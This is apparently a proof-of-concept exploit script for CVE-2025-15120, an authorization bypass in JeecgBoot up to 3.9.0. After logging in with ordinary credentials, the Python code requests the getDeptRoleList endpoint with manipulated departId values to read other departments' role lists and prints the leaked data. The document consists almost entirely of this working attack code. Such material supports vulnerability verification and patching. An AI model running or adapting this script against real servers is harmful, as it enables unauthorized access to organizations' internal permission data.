CVE-2025-15120: JeecgBoot getDeptRoleList接口权限绕过漏洞

import requests # CVE-2025-15120 PoC - JeecgBoot Unauthorized Access to Department Role List # Target: JeecgBoot up to 3.9.0 # Endpoint: /sys/sysDepartRole/getDeptRoleList base_url = "http://target-server.com" # Step 1: Login to obtain session cookie login_url = f"{base_url}/sys/login" login_data = { "username": "attacker", "password": "password123" } session = requests.Session() login_response = session.post(login_url, json=login_data) if login_response.status_code == 200: print("[+] Login successful") # Step 2: Exploit - Access other department's role list by manipulating departId exploit_url = f"{base_url}/sys/sysDepartRole/getDeptRoleList" params = { "departId": "1" # Try different department IDs } response = session.get(exploit_url, params=params) if response.status_code == 200: data = response.json() if "result" in data or "data" in data: print("[+] Vulnerability confirmed - Unauthorized access to role list") print(f"[+] Response: {response.text}") else: print("[-] No unauthorized access detected") else: print("[-] Login failed")